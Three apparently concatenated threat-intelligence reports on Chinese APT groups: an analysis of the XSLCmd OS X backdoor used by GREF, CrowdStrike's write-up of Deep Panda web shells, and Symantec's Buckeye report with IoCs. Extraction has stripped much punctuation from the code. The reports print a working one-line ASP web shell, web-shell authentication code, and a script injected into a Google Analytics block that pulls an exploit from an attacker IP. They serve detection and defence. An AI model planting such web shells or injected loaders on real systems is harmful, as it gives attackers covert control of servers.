The backdoor code was ported to OS X from a Windows backdoor that has been used extensively in targeted attacks over the past several years, having been updated many times in the process.
Its capabilities include a reverse shell, file listings and transfers, installation of additional executables, and an updatable configuration.
The OS X version of XSLCmd includes two additional features not found in the Windows variants we have studied in depth: key logging and screen capturing.
http://www.alienvault.com/open-threat-exchange/blog/ms-office-exploit-that-targets-macos-x-seen-in-the-wild-delivers-mac-contro http://bad-bytes.blogspot.com/2012/07/maccontrol-cyber-espionage-rat-linked.html http://securelist.com/blog/research/57331/the-icefog-apt-a-tale-of-cloak-and-three-daggers/ http://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf Installation Routine To install, XSLCmd first determines the endianness of the CPU using NXGetLocalArchInfo and whether or not it is running as the super user by comparing the return value of getuid()with 0.
The code includes functions to handle endianness differences when dealing with file and network data on a system using big endian, namely older Apple computers that shipped with PowerPC CPUs.
The process copies its Mach-O from its current location to HOME/Library/LaunchAgents/clipboardd and creates a plist file in the same directory with the name com.apple.service.clipboardd.plist.
The latter file ensures that the backdoor is launched after the system is rebooted once the user logs in.
After this is done, the malware relaunches itself using the load option of the launchctl utility, which runs the malware according to its configuration in the plist file it created, with launchd as its parent process.
This is the process that begins the actual backdoor routine of waiting for and executing commands issued from the C2 server.
After running itself with launchctl, the initial process forks and deletes the Mach-O from the original location from which it was executed.
The installation routine differs slightly depending on whether or not the process is running with super user privileges.
If run as super user, it copies itself to /Library/Logs/clipboardd.
Interestingly, if run as super user, the process will also copy /bin/ksh to /bin/ssh.
/bin/ksh is the Korn shell executable, and if the user sends a command to initialize a reverse shell, it will use the copy of ksh to do so instead of /bin/bash.
This is likely done to make it less obvious that a reverse shell is running on the system, since it may raise less suspicion to see an ssh process opening a network socket rather than a bash process, although the real ssh executable is actually located in /usr/bin/ssh, not /bin/ssh.
A list of possible files created by XSLCmd is included in Appendix 1 at the end of this blog.
Configuration Options XSLCmd ships with an encrypted configuration file that it defaults to if there is no configuration file written to disk.
It will only write its configuration file to disk if its updated by the user.
It runs in a loop, checking for a configuration update, and then checking for commands.
If a new configuration is available, it will be written to disk in base64 encoding at HOME/.fontset/pxupdate.ini.
Below is the configuration data stored in the XSLCmd sample we obtained.
[
ListenMode] 0 [MServer] 61.128.110.38:8000 [BServer] 61.128.110.38 [Day] 1,2,3,4,5,6,7 [Start Time] 00:00:00 [End Time] 23:59:00 [Interval] 60 [MWeb] http://1234/config.htm [BWeb] http://1234/config.htm [MWebTrans] 0 [BWebTrans] 0 [FakeDomain] www.appleupdate.biz [Proxy] 0 [Connect] 1 [Update] 0 [UpdateWeb] not use [MServer] and [BServer] specify the main and backup C2 server addresses, which can be either an IP address or domain name.
Only [MServer] needs to specify a port.
[
Day] specifies which days of the week the malware will poll for commands and configuration updates on where Monday is 1.
[
Start Time] specifies the local time of day to begin polling.
[
End Time] specifies the local time of day to stop polling.
[
Interval] specifies the number of seconds between polls.
[
MWeb] and [BWeb] specify the main and backup URLs to poll for configuration updates, respectively.
Update checks are not performed if these values are left to their default: http://1234/config.htm Other options will be explained where appropriate later in the blog.
C2 Protocol XSLCmd uses pseudo-HTTP for its protocol.
It opens a socket and uses a string template to setup the HTTP request or response headers depending on whether or not it was configured for [Listen Mode].
If [Listen Mode] is set to 1, then it listens on its socket, waiting for a connection for which it will reply to with HTTP response headers following this template: HTTP/1.1 200 OK Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Server: Apache/2.0.54 (Unix) Content-Encoding: gzip Content-Length: d The body after the headers, regardless of mode, will contain data specific to the purpose of the communication.
The data is encrypted with a scheme lifted from a game server engine written by a group named My Destiny Team.
The request headers have an interesting feature where the Host and Referer header values will have their domain values populated with the value stored in [Fake Domain].
This value can be any string and has no effect on the network connection established.
The value of the s argument in the request URL is randomly generated, and all of the other request header values except for Content-Length are hard-coded.
http://read.pudn.com/downloads146/ebook/635386/src/gameserver/encdec.cpp__.htm Another interesting feature exists for the configuration update function.
If [MWebTrans]/[BWebTrans] is set to 1, the configuration update URL request will be proxied through Yahoos Babelfish service and will fall back to the Google Translate service if that fails.
As you can see, the trurl parameter in the URL will be set to whatever is configured for [MWeb]/[BWeb].
The User- Agent header for this request is hard-coded and contains the computer name in the parentheses at the end.
SSL certificate strings were noticed during our analysis, but with no direct cross-reference to the certificate data.
http://www.fireeye.com/blog/wp-content/uploads/2014/09/osx1.png http://www.fireeye.com/blog/wp-content/uploads/2014/09/osx2.png However, there was a cross-reference to the data directly preceding it.
This data began with what looked like SSL handshake headers, so we extracted the data from the executable, wrapped it in a PCAP file, and opened it in Wireshark.
Interestingly, the data contains everything needed for the server-side packets of an SSL handshake.
The SSL certificate being used was for login.live.com and had expired on 6/16/2010.
The code using this data opens a socket, waits for a connection, and proceeds to carry out an SSL handshake with the client, throwing away whatever data it receives.
This code is not directly referenced by any other code in the executable but could very well replace the [Listen Mode] code.
Perhaps it is an old feature no longer in use, a new feature yet to be fully implemented, or an optional feature only used in certain cases.
Observations We noticed a mix of manually constructed and plain referenced strings throughout the code, sometimes side-by-side in the same function even.
This gives the impression of someone working with someone elses code, adding his own touch and style here and there as he goes.
Also of note is that XSLCmd will not perform key logging if run as super user.
This can be a problem, because the API used to perform the key logging, CGEventTapCreate, when invoked with the parameters it uses, requires root permissions http://www.fireeye.com/blog/wp-content/uploads/2014/09/osx3.png http://www.fireeye.com/blog/wp-content/uploads/2014/09/osx4.png from the calling process or the Assistive Devices feature must be enabled for the application.
During the initial installation, there is a routine to programmatically enable assistive devices that will be executed if the OS X version is not 10.8.
In 10.9, enabling assistive devices permissions is done on a per application basis with no direct API to achieve this.
It is interesting to note that the version check does not account for versions above 10.8, indicating that perhaps 10.8 was the latest version at the time the code was written, or at least the most common.
Further supporting this inference is the lack of testing performed on 10.9.
This variant uses an API from the private Admin framework that is no longer exported in 10.9, causing it to crash.
The effort to support PowerPC with the endian conversion functions is worth mentioning.
Coupling this observation with the aforementioned fact that elsewhere in the code, the version of OS X is compared with 10.8, one could deduce that efforts were made to be backwards compatible with older OS X systems.
For some frame of reference, Apples first OS to drop support for PowerPC was OS X 10.6 released in 2009, and OS X 10.9 was released in October of 2013.
Threat Actor Intelligence Historical Background While GREFs targeting interests overlap with many of the other threat groups we track, their TTPs are somewhat unique.
GREF is one of the few APT threat groups that does not rely on phishing as their primary attack method.
While they have been known to utilize phishing emails, including malicious attachments and links to exploit sites, they were one of the early adopters of strategic web compromise (SWC) attacks.
GREF was especially busy in the 2010 timeframe, during which they had early access to a number of 0-day exploits including CVE-2010-0806 (IE 6-7 Peer Objects vuln), CVE-2010-1297 (Adobe Flash vuln), and CVE-2010-2884 (Adobe Flash) that they leveraged in both phishing and SWC attacks.
Many of their SWC attacks we saw in this time period were hosted on defense industry-related sites including Center for Defense Information (cdi.org), National Defense Industrial Association (ndia.org), Interservice/Industry Training, Simulation and Education Conference (iitsec.org), and satellite company Millennium Space Systems (millennium-space.com).
Most of those attacks involved embedding links to exploit code in the homepage of the affected website, and true to their moniker the link was usually placed inside an existing Google Analytics code block in the page source code to help obscure it, rather than simply appended to the end of the file like many other attackers did.
Figure 1: Sample google exploit link Google Tracking Code script typetext/javascript var gaJsHost  ((https:  document.location.protocol) ?
https://ssl.
:
http://) document.write(unescape(3Cscript src  gaJsHost  180.149.252.181/wiki/tiwiki.ashx typetext/javascript3E3C/script3E)) /script http://hints.macworld.com/article.php?story20060203225241914 The TTP that most differentiates GREF from other APT threat groups is their unrelenting targeting of web server vulnerabilities to both gain entry to targeted organizations, as well as to get new platforms for SWC attacks.
This threat group appears to devote more resources (than most other groups) in attempting to penetrate web servers, and generally, they make no attempt to obscure the attacks, often generating gigabytes of traffic in long-running attacks.
They are known to utilize open-source tools such as SQLMap to perform SQL injection, but their most obvious tool of choice is the web vulnerability scanner Acunetix, which leaves tell-tale request patterns in web server logs.
They have been known to leverage vulnerabilities in ColdFusion, Tomcat, JBoss, FCKEditor, and other web applications to gain access to servers, and then they will commonly deploy a variety of web shells relevant to the web application software running on the server to access and control the system.
Another historical TTP attributed to GREF was their frequent re-use of specific IP ranges to both perform reconnaissance and launch their attacks, as well as for command and control and exfiltration of data.
In the early years, we documented them routinely using IP addresses in the 210.211.31.x (China Virtual Telecom  Hong Kong), 180.149.252.x (Asia Datacenter  Hong Kong), and 120.50.47.x (Qala  Singapore).
In addition, their reconnaissance activities frequently included referrer headers from google.com and google.com.hk with search features such as inurl and filetype looking for specific systems, technologies, and known vulnerabilities.
C2 Domains GREF is known to have sometimes configured their malware to bare IP addresses, rather than domains, but there are some clusters of domain registrants that we attribute to them.
Table 1: GREF domain registrations Domain Registrant Email Address allshell[.
]net cooweb51[]hotmail.com attoo1s[.
]com cooweb51[]hotmail.com kasparsky[.
]net cooweb51[]hotmail.com kocrmicrosoft[.
]com cooweb51[]hotmail.com microsoft.org[.
]tw cooweb51[]hotmail.com microsoftdomainadmin[.
]com cooweb51[]hotmail.com microsoftsp3[.
]com cooweb51[]hotmail.com playncs[.
]com cooweb51[]hotmail.com softwareupdatevmware[.
]com cooweb51[]hotmail.com windowsnine[.
]net cooweb51[]hotmail.com cdngoogle[.
]com metasploit3[]google.com cisco-inc[.
]net metasploit3[]google.com mremote[.
]biz metasploit3[]google.com officescan[.
]biz metasploit3[]google.com oprea[.
]biz metasploit3[]google.com battle.com[.
]tw 6g8wkx[]gmail.com diablo-iii[.
]mobi 6g8wkx[]gmail.com microsoftupdate[.
]ws 6g8wkx[]gmail.com msftncsl[.
]com 6g8wkx[]gmail.com square-enix[.
]us 6g8wkx[]gmail.com updatamicrosoft[.
]com 6g8wkx[]gmail.com powershell.com[.
]tw 6g8wkx[]gmail.com gefacebook[.
]com 6g8wkx[]gmail.com attoo1s[.
]com 6g8wkx[]gmail.com msnupdate[.
]bz skydrive1951[]hotmail.com googlemapsoftware[.
]com skydrive1951[]hotmail.com XSLCmd Usage For the majority of the time weve been tracking them, XSLCmd has been the go-to backdoor for GREF, as shown by the wide range of compile dates for the Windows samples we have: from 2009-01-05 to 2013-08-01.
Appendix 2 provides a partial list of Windows sample hashes and configuration metadata.
Since Mach-O binaries do not have a compile timestamp like Windows executables, we can only infer from other data when the OS X variant was developed.
As mentioned above, the FakeDomain was configured to www.appleupdate[.
]biz, which was originally registered on August 2, 2012, and the registration appears to have updated on August 7, 2014, but the registrant is still the same cast west.
When we found the sample on August 10, the domain did not resolve and there were no historical records for appleupdate[.
]biz in any of the passive DNS (pDNS) sources we checked.
In the intervening weeks, it has been seen by pDNS sensors, with the first query occurring on August 12, 2014 (which could be related to our research, since the hits are nxdomain), and then on August 16, 2014 there are pDNS records pointing to 61.128.110.38, which youll notice is the same IP the OS X version was configured to use.
This could hint at the possibility that this OS X port of XSLCmd was recently developed and deployed however, this remains uncertain.
Other Backdoor Usage In addition to XSLCmd, GREF has utilized a number of other backdoors over time.
Another backdoor unique to them, which we call ddrh, is a limited-feature backdoor that was frequently dropped in the SWC attacks in 2010, but has not been seen much since.
Another historical backdoor attributed to GREF is one known as ERACS or Trojan.
LURKER (not to be confused with LURK0 variant of Gh0st).
This full-featured backdoor includes the usual backdoor functionality, including the support for additional modules, but it also includes a USB monitoring capability that generates a directory listing of USB- connected devices.
We have also observed GREF using a handful of other common backdoors including Poison Ivy, Gh0st, 9002/HOMEUNIX, HKDoor, and Briba, but these occurrences have been pretty rare.
All of the GREF 9002/HOMEUNIX samples in our repository have compile dates from 2009 or 2010.
Interestingly enough, there is some overlap with a cluster detailed in a report we released in November of last year, specifically the AllShell cluster (C2: smtp.allshell[.
]net).
Starting in mid-2012, GREF started using the Kaba/SOGU backdoor.
These early samples, which were discussed in great detail by LastLine in their blog post An Analysis of PlugX, are usually bundled into a RAR self-extracting executable and uses the three-part loading mechanism consisting of an executable, the malicious DLL that is side-loaded, and the shellcode file.
http://www.fireeye.com/resources/pdfs/fireeye-malware-supply-chain.pdf http://labs.lastline.com/an-analysis-of-plugx In mid-2013, GREF switched to using a new Kaba/SOGU builder that created binaries with unique metadata.
For example, many of these samples create a mutex of PST-2.0 when executed, and some have the shared HT Applications version metadata.
Conclusion The A in APT is generally used to describe the threat actors as Advanced, but with this blog, we also see that they are also Adaptable.
Not only have they adopted new Windows-based backdoors over time, as Apples OS X platform has increased in popularity in many companies, they have logically adapted their toolset to match in order to gain and maintain a persistent foothold in the organizations they are targeting.
OS X has gained popularity across enterprises, from less savvy users who find it easy to operate, to highly technical users that utilize its more powerful features, as well as with executives.
Many people also consider it to be a more secure computing platform, which may lead to a dangerous sense of complacency in both IT departments and with users.
In fact, while the security industry has started offering more products for OS X systems, these systems are sometimes less regulated and monitored in corporate environments than their Windows peers.
Clearly as the OS X platform becomes more widely adopted across enterprises, threat groups like GREF will continue to adapt and find ways to exploit that platform.
Credit to Jay Smith for his initial analysis of the Windows version of the XSLCmd backdoor and Joshua Homan for his assistance in this research.
Appendix 1:  XSLCmd for OS X created files Filename Purpose HOME/Library/LaunchAgents/clipboardd executable /Library/Logs/clipboardd executable when run as super user HOME/Library/LaunchAgents/com.apple.service.clipboardd.plist plist for persistence HOME/.fontset/pxupdate.ini configuration file HOME/.fontset/chkdiska.dat additional configuration file HOME/.fontset/chkdiskc.dat additional configuration file HOME/Library/Logs/BackupData/yearmonthday_hr_min_sec_keys.log key log file Appendix 2: XSLCmd sample metadata
Mo Shells Mo Problems - Deep Panda Web Shells Disclaimer: CrowdStrike derived this information from investigations in non-classified environments.
Since we value our clients privacy and interests, some data has been redacted or sanitized.
Crowdstrike presents Mo Shells Mo Problems - A four part series featuring two unique web shells used by a Chinese threat group we call Deep Panda.
The series will culminate with a CrowdCast in April 2014 detailing a case study of the incident response investigation conducted to identify these web shells.
Special thanks to Josh Phillips of the CrowdStrike Global Intelligence Team for providing the technical analysis in this blog post.
Today well cover part one of this series, which provides an overview of what web shells are, functionality of two web shells recently identified during an incident response investigation and how they were leveraged by the attacker.
Parts two through four will provide details on successful analytical techniques you can use to discover web shells within your environment: Mo Shells Mo Problems: Deep Panda Web Shells (Part 1) Mo Shells Mo Problems: File Stacking (Part 2) Mo Shells Mo Problems: Web Log Review (Part 3) Mo Shells Mo Problems: Network Detection (Part 4) A Web Shell is a file containing backdoor functionality written in a web scripting language such ASP, ASPX, PHP or JSP.
When a web shell is hosted on an internet facing victim system, an adversary can remotely access the system to perform malicious actions.
Deep Panda is a China based threat group CrowdStrike has observed targeting companies in the defense, legal, telecommunication and financial industries.
Crowdstrike has observed Deep Panda adopting web shells as their primary access back into a victim organization.
This is an interesting shift as web shells have typically been seen as only a first stage into obtaining a persistent foothold in an environment.
Previously, web shells were quickly abandoned once persistent second stage malware was successfully beaconing.
Using a web shell as a primary backdoor gives Deep Panda several advantages: Low to virtually no detection by antivirus products The absence of command and control beacon traffic Impossible to block known malicious IP addresses to a web server since adversary can easily change their source IP address Cookie and HTTP header authentication aware web shells avoid being enumerated by search engines and restrict access, further reducing their network footprint To assist organizations with identifying web shells in their environment, this post will cover two popular Deep Panda web shells.
By gaining insight into their capabilities and footprint, organizations should find it feasible to detect and remediate these backdoors.
Showimg.asp Path: E:\inetpub\wwwroot\Redacted\ MD5 Hash: ffa82c64720179878b25793f17b304d7 File Size: 28 Table 1: Showimg.asp Metadata Showimg.asp is an example of an early stage web shell used to build an initial foothold within a network.
After it is replaced by more robust backdoors, it may be left in place as a last resort should remediation take place.
At a diminutive 28 bytes, it is one of the smallest Active Server Page (ASP) backdoors in the wild.
In a recent case, we witnessed this web shell written to a standalone file (named showimg.asp), but it could easily be injected into an existing page, making it even stealthier.
The code for this web shell can be found below: execute request(chr(42)) Table 2: Showimg.asp Web Shell Script ASP uses Microsoft Visual Basic (VBScript) as its implementation language.
The code above uses the chr() function to convert an integer into a character, which is then passed as an argument to the ASP Request() object.
The Request() object will search the Query String for any keys matching the input.
In our case, the code is equivalent to Request.
QueryString().
The request object will look for chr(42) which is an asterisk (), returning whatever is passed to it in a HTTP GET or POST.
Next, the Execute() function will execute any value returned by the lookup.
Effectively, an attacker can form a request that will execute any VBScript code.
As you might imagine, this is a powerful capability.
For example, this code can perform any of the following actions: File upload or download File system read, write, or delete Arbitrary command execution This web shell is an example of a thick client shell, meaning that while the server side code is quite small, attackers typically use a larger GUI client to construct the sent commands.
The client GUI runs on the attackers system and hence is not typically found within the victim network.
As a simple example of an encoded command, the following GET request would cause the backdoor to execute the code Response.
Write(h1Hello World/h1) and would render Hello World to be printed in the web browser: http://webserver/showimage.asp526573706F 6E73652E577269746528223C68313E4865 6C6C6F20576F726C643C2F68313E2229 Table 3: showimg.asp Web Shell Script System_web.aspx Path: C:\inetpub\wwwroot\aspnet_client\system_web\VERSION\ MD5 Hash: cc875db104a602e6c12196fe90559fb6 File Size: 45187 Table 4: Metadata of system_web.aspx System_web.aspx is an excellent example of a more robust web shell used to replace Deep Pandas traditional beaconing command and control infrastructure.
It is an ASP.NET backdoor written in C, with far more capabilities than we saw with the showimage.asp sample.
The web shell supports a form of authentication to protect against unauthorized access.
This prevents its discovery from search engine indexing, vulnerability scanning tools and other unauthorized access to the backdoor.
In order to bypass authentication, a user session must satisfy one of three options: Pass a cookie with the name Redacted Set the Keep-Alive HTTP header to 320 Set language HTTP header to contain es-DN Since web shells are text-based, we can easily see how this authentication takes place: try  Init() if (IsUserValid())  try  int.
Parse(Request.
Cookies[REDACTED].Value) Page.
Visible  true  catch (Exception)  Page.
Visible  false Response.
Clear() Response.
End()   else  Page.
Visible  true Response.
SetCookie(new HttpCookie(REDACTED, DateTime.
Now.
Second.
ToString()))   catch (Exception)  Page.
Visible  false Response.
End()  private void Init()  try  if (Request.
Cookies[cp]  null)  File.
Copy(Request.
PhysicalPath, Request.
Cookies[cp].Value, true) Response.
Cookies[cp].Expires  DateTime.
Now.
AddDays(-1) Response.
End()   catch (Exception ex)  Log(ex.
ToString())   private bool IsUserValid() if (Request.
Headers[Keep-Alive]  320) return true if (Request.
UserLanguages.
Length  0) foreach (string s in Request.
UserLanguages) if (s.IndexOf(es-DN)  0) return true catch (Exception) return false Table 5: system_web.aspx Authentication Code First, the code checks if a cookie by the name of cp exists.
If so, the response object has its End() method invoked, denying the user access.
Next, the code uses the IsValidUser()method and checks the Hyper Text Transport Protocol (HTTP) headers for the Keep-Alive value, which, if equal to 320, will return true.
If the value does not equal 320 the IsValidUser()method iterates over the Request.
UserLanguages collection searching for a language named es-DN, and if found, the IsValidUser() method will return true.
If neither check passes, the code returns false and the code will finally check for the presence of a cookie named REDACTED.
If the cookie is present, the authentication step is satisfied.
If not, a blank web page with no content is displayed.
After successful authentication, the attacker is provided with the following page: System_web.aspx packs a large amount of functionality into a compact interface.
It provides the following capabilities: Enumerate attached drives Utilize built in SQL functions to connect to database backend Run SQL queries and statements Download, upload and read files Directory listing Execute Active Directory requests Compile and execute arbitrary C source code Impersonate a user The web shell supports 8 main commands, with most command execution via Transact-SQL using the xp_cmdshell function.
Exec This command depends on the contents of the first unlabeled textbox1.
If unlabeled textbox1 is empty, the code will enumerate attached drives.
Provider or Driver - Will connect using the OleDbConnection class.
Data Source - The code will connect using the SqlConnection class.
iis:// - If this appears in unlabeled textbox1, the code will use data from the second unlabeled textbox2 to execute Active Directory requests.
Down http://www.crowdstrike.com/drupal7/sites/default/files/medium_Web20Shells.png This command also depends on the text contained in the unlabeled textbox1.
If the field is left empty, the code will assume a valid path to a file on the local machine and will read and display contents to user.
Data Source - the code will assume that the unlabeled textbox2 contains a valid SQL query and will execute it and display the results.
http:// - If this appears in unlabeled textbox1, download content from the assumed URL.
SEX  If this appears in unlabeled textbox1, pass the contents to the Server.
Execute() method.
BF Execute contents in unlabeled textbox1 as a SQL query and return binary data to adversary.
GF Execute contents in unlabeled textbox1 as a SQL statement and return valid textual data to adversary.
TF Upload the file chosen by the Choose File button and save it to a temporary table in the database file worktbl in chunks of 10240 bytes.
Then executes xp_cmdshell (which executes the Bulk Copy Program) to copy the data from that table to a file whose name is specified in unlabeled textbox2.
After the file is saved, the code deletes the temporary table.
RF If unlabeled textbox1 is a local file on infected system, the file is read and displayed to attacker.
\\ -
If unlabeled textbox1 starts with \\, use xp_cmdshell to execute the copy command to copy file to windir\Temp\temp.bin.
Then, issue the dir command and display results to user.
Finally, delete the temporary file windir\Temp\temp.bin.
DIR Perform Active Directory queries.
The code handles create, delete, set, get, and enum queries, while any query not matching those is executed directly.
All commands are executed using the System.
DirectoryServices API.
Eva Simple wrapper around the CSharpCodeProvider API, allowing the adversary to compile and execute arbitrary C source code.
Login Checkbox Attempt to use the username, password, and domain from the User, Pass and Domain fields and LogonUserA() Win32 API function to impersonate a specific user.
Detatch Checkbox Specifies whether commands run from the Exec button will have their output redirected and displayed to the adversary when the command is finished executing.
In short, system_web.aspx provides an adversary with a very stealthy means of near full control of the server on which it resides.
This stealth might be its most important attribute.
As we will see, identifying web shells can be much harder than finding malicious binaries.
In our next post, we will discuss techniques for identifying web shells.
Stay tuned for Parts 2-4 as we cover File Stacking, Web Log Review, and Network Detection.
In the meantime, register now for the April 1st CrowdCast.
https://attendee.gotowebinar.com/register/8497096584722200321
Buckeye cyberespionage group shifts gaze from US to Hong Kong Several organizations in Hong Kong are being targeted by a cyberespionage group known as Buckeye.
By: Symantec Security Response Symantec Employee Created 06 Sep 2016 Buckeye (also known as APT3, Gothic Panda, UPS Team, and TG-0110) is a cyberespionage group that is believed to have been operating for well over half a decade.
Traditionally, the group attacked organizations in the US as well as other targets.
However, Buckeyes focus appears to have changed as of June 2015, when the group began compromising political entities in Hong Kong.
Since March 2016, the group has appeared to mostly focus on organizations in Hong Kong, sending malicious emails to targets as recently as August 4, and attempting to spread within compromised networks in order to steal information.
Using the combined threat intelligence of Symantec and Blue Coat Systems, we have built a clear and concise picture of how Buckeye has evolved its tactics in recent years.
This has allowed us to further enhance our protection capabilities against the groups campaigns.
Background Symantec has observed Buckeye activity dating back to 2009, involving attacks on various organizations in several regions.
Buckeye used a remote access Trojan (Backdoor.
Pirpi) in attacks against a US organizations network in 2009.
The group delivered Backdoor.
Pirpi through malicious attachments or links in convincing spear-phishing emails.
Symantec has identified additional tools used by the group, which will be discussed later.
Buckeye has been known to exploit zero-day vulnerabilities in the past, such as CVE-2010-3962 in an campaign in 2010 and CVE-2014-1776 in 2014.
Although other zero-day attacks have been reported, they have not been confirmed by Symantec.
All zero-day exploits known, or suspected, to have been used by this group are for vulnerabilities in Internet Explorer and Flash.
Shifting focus of attacks More recently, Symantec telemetry has revealed Backdoor.
Pirpi connections from compromised computers based in Hong Kong dating back to August 2015.
The infections significantly increased in number towards the end of March 2016 and the beginning of April 2016.
Additional investigations discovered related malware samples and determined that targeted organizations were political entities in Hong Kong.
In at least some of these recent attacks, Buckeye used spear-phishing emails with a malicious .zip attachment.
The .zip archive attached to the email contains a Windows shortcut (.lnk) file with the Microsoft Internet Explorer logo.
Clicking on the shortcut ultimately leads to Backdoor.
Pirpi being downloaded and executed on the affected computer.
Whos being targeted?
From 2015 to date, Symantec identified approximately 82 organizations in various regions that had Buckeye tools present on their network.
However, this is not an accurate picture of the targets of interest to Buckeye.
The group casts a wide net while trawling for targets but only remains active on the networks of organizations it is interested in.
Symantec determined a more accurate picture of Buckeyes targets by looking at where Buckeye remained active on the network longer than a day, deployed additional tools, and spread onto multiple computers.
After these filters were applied to our data, we found a total of 17 organizations, located in Hong Kong (13), the US (3), and the UK (1).
http://www.symantec.com/connect/user/symantec-security-response https://www.symantec.com/security_response/writeup.jsp?docid2010-110314-3703-99 https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2010-3962 http://www.cve.mitre.org/cgi-bin/cvename.cgi?namecve-2014-1776 Figure 1.
Buckeye victims of interest by region (2015 to date) It should be noted that this data goes back to 2015 and that the proportion of targets in Hong Kong from March 2016 would be considerably higher.
Up to mid-2015, Buckeyes traditional targets were varying categories of US organizations, which match the types of victims seen in the UK.
Buckeye interests changed substantially around June 2015 when the group began infecting organizations in Hong Kong.
Infections in the UK and US ceased shortly after this time.
Figure 2.
Organizations that Buckeye targeted over time, per region Malware and tools Buckeye uses a number of hacking tools as well as malware.
Many of the hacking tools are open source applications that have been patched or modified in some manner by Buckeye in an attempt to evade detection.
Buckeye uses Backdoor.
Pirpi, a remote access Trojan capable of reading, writing, and executing files and programs.
Backdoor.
Pirpi also collects information about the targets local network, including the domain controller and workstations.
As mentioned previously, Buckeye also uses a number of hacking tools, including the following: Keylogger: The keylogger is configured using the command line parameters: NetworkService, Replace, Install, Register and Unregister.
These parameters install it as a service.
The keylogger then records keystrokes in encrypted files, for example: thumbcache_96.dbx.
It also gathers network information such as the MAC address, IP address, WINS, DHCP server, and gateway.
RemoteCMD: This tool executes commands on remote computers, similar to the PsExec tool.
Usage is: s shareIp domain [USER INFORMATION[USER NAME AND PASSWORD]] [/run:[COMMAND]] The commands to be passed consist of upload, download, Service (create, delete, start, stop), delete, rename, and AT PwDumpVariant: This tool imports lsremora.dll (often downloaded by the attacker as part of the toolset) and uses the GetHash export of this DLL.
On execution, the tool injects itself into lsass.exe and is triggered with the argument dig.
OSinfo: OSInfo is a general purpose, system information gathering tool.
It has the following command line argument help: info  Server/Domain [options] [options]: -d Domain -o OsInfo -t TsInfo -n NetuseInfo -s ShareInfo ShareDir -c Connect Test -a Local And Global Group User Info -l Local Group User Info -g Global Group User Info -ga Group Administrators -gp Group Power Users -gd Group Domain Admins -f infile //input server list from infile, OneServerOneLine info \\server user ChromePass: A tool from NirSoft used for recovering passwords stored in the Chrome browser.
Lazagne: A compiled Python tool that extracts passwords from various locally installed application classes, such as web browsers.
The full list is: chats, svn, wifi, mails, windows, database, sysadmin, and browsers.
Buckeye seems to target file and print servers, which makes it likely the group is looking to steal documents.
This, coupled with the groups use of zero-day exploits in the past, customized tools, and the types of organizations being targeted would suggest that Buckeye is a state-sponsored cyberespionage group.
Protection Symantec, Norton, and Blue Coat products protect against the activities of this cyberespionage group.
Symantec and Norton products offer the following detections: Antivirus Backdoor.
Pirpi Backdoor.
Pirpidr Backdoor.
Pirpigen1 Backdoor.
Pirpigen2 Backdoor.
Pirpigen3 https://www.symantec.com/security_response/writeup.jsp?docid2010-110314-3703-99 https://www.symantec.com/security_response/writeup.jsp?docid2011-052305-3606-99 https://www.symantec.com/security_response/writeup.jsp?docid2013-111208-4321-99 https://www.symantec.com/security_response/writeup.jsp?docid2015-120803-2221-99 https://www.symantec.com/security_response/writeup.jsp?docid2016-090215-3523-99 Backdoor.
Pirpigen4 Backdoor.
Pirpi.
A Backdoor.
Pirpi.
B Backdoor.
Pirpi.
C Backdoor.
Pirpi.
D Downloader.
Pirpi Downloader.
Pirpig1 Intrusion prevention system System Infected: Backdoor.
Pirpi Activity 3 UpdateSeptember 14, 2016: Indicators of compromise We have compiled a list of indicators of compromise for the campaigns described in this blog.
Symantec Security Response - Buckeye Indicators of Compromise  Published: Sep 14, 2016 Network IoCs ------------ Domain/URLs ste.mullanclan.com [http://]ste.mullanclan.com/v/images/323020339.gif [http://]ste.mullanclan.com/v/PHH55901496.html [http://]ste.mullanclan.com/v/images/rec.exe [http://]ste.mullanclan.com/v/i/Typ24883839.html [http://]ste.mullanclan.com/v/images/fvp.exe [http://]ste.mullanclan.com/v/13.js [http://]ste.mullanclan.com/v/Typ72954330.html parent.kaapagrains.com [http://]parent.kaapagrains.com/web/images/eof.exe [http://]parent.kaapagrains.com/web/images/mms.exe [http://]parent.kaapagrains.com/web/l/logo.zip [http://]parent.kaapagrains.com/web/images/calc.exe [http://]parent.kaapagrains.com/web/i/logo.xap ptr.holmessupply.com [http://]ptr.holmessupply.com/http/l/logo.zip [http://]ptr.holmessupply.com/http/i/logo.zip lite.ultralitedesigns.com Host based IoCs --------------- SHA256 7b1a3c32e7a32b501248e68be2961309b8f461f3f405f6520cd521e08446395e 0dee1dbbbbc86c69e349eb23788174984bfa27c34ee171ea05f86942230bca82 2a5a0bc350e774bd784fc25090518626b65a3ce10c7401f44a1616ea2ae32f4c f935ee8a25b60d39b6451d62c35e2eec130799837f41a9beba4e264e15d95314 8caa179ec20b6e3938d17132980e0b9fe8ef753a70052f7e857b339427eb0f78 02ea3fce33fa23ff825a6957df99dfe6cabae9281ba3c34e6c596599f5d55352 0867cd1f022baa98902a60dd0dd47e4180dc22420b0a1a537534eb1673d596d2 https://www.symantec.com/security_response/writeup.jsp?docid2016-090215-3941-99 https://www.symantec.com/security_response/writeup.jsp?docid2011-052306-0729-99 https://www.symantec.com/security_response/writeup.jsp?docid2011-052307-0717-99 https://www.symantec.com/security_response/writeup.jsp?docid2011-052307-2534-99 https://www.symantec.com/security_response/writeup.jsp?docid2013-041116-2513-99 https://www.symantec.com/security_response/writeup.jsp?docid2011-052305-1137-99 https://www.symantec.com/security_response/writeup.jsp?docid2016-082508-5810-99 https://www.symantec.com/security_response/attacksignatures/detail.jsp?asid27577 http://www.symantec.com/content/en/us/enterprise/media/security_response/docs/Symantec-Buckeye-IOCs.txt 0cb178b26488c7fc52cacf3acddbabe2a5077d606dc23c4917f785a662fd0ba8 0d8d6d388a2d4ba94f3a91ad79e209fbdf1a8e1af86a6ed8d518b53d72a5be4e 18fa855b1f522ed8261980bbec0631e8f9b1e85de15c2cc34521cf0adcaea656 2241248cbb80483d15b764eb4ab149e7a94b38a49c466e58fd7ce9b0b20af4ba 2528c9df3d7ed7c18d790d690ebb4bcacf25292fd4e7d3c73ba42d3d3cba20a2 2febab3f0d1e3df0ee64b52ac1e0154305ff3f6aeada4a79a8f10ef5e84f5dac 313ad88b6a8e6c1e53a355a12ad18a19c5d04abc021549b4a451aee7cec024b9 389f0c0f19095baa8f9ad6a8642a939d09b3c943ebdcade11dda04c06cf0dd66 3c7c30ff0bb6eb04819d121e51a36dadecc6af747718e2373489bde18cbce001 